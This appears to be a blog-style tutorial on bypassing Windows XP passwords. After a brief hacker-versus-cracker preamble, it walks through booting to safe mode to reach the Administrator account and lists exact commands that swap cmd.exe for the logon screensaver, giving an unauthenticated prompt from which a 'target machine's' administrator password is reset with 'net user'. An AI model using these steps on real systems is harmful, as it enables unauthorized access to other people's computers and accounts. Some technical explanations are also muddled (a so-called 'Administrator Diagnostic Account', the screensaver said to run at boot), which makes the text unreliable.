Hacking is done to expose a security hole in a system. Hacking is done to expose the holes in the armor so that system designers can patch it in their next release.Hacking if done with a malicious mind, then its cracking! Crackers are basically hackers with a malicious  mind.  They  exploit  the  security  holes  to gain  unauthorized  access  to  a system.  They  often  steal  data  like  the  credit  card information  from  the  victim’s computer  and  read  their  mails.  Some  crackers  go  beyond  and  often  engage  in destructive actions like creating viruses and worms. So the next time when you say hacker/cracker,  understand  what  they  are.  Hackers  don’t  like  being  greeted  as crackers for the same reason that hackers are friendly and nice people.
I’m  giving  you  two  examples  below  to  understand  how  hacking  differs  from tweaking: 
Eg1: Hack  the XP Admin Passwords
When you or anyone installs Windows XP for the first time your  asked to put in your username and up to five others.Now, unknownst to a lot of other people this is the only  place  in  Windows  XP  that  you  can  password  the default  Administrator Diagnostic Account. This means that to by pass most administrators accounts  on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account and create your own or change the password on the current Account. This only works if the user on setup specified a password for the  Administrator Account.
Eg2:Hack XP Password
If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly. Forget about the explanations as it is for the
sake of clarity purpose
Command Expalnation
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.Once this happens if you enter this command minus the quotes "net user <admin account name here> password" If the Administrator Account is called Frank and you want the password blah enter this "net user Frank blah" and this changes the password on franks machine to blah
and you should be in.
"Windows XP Tips: What is hack,Hack XP Admin Passwords and XP Password"
Reference : techpraveen.com

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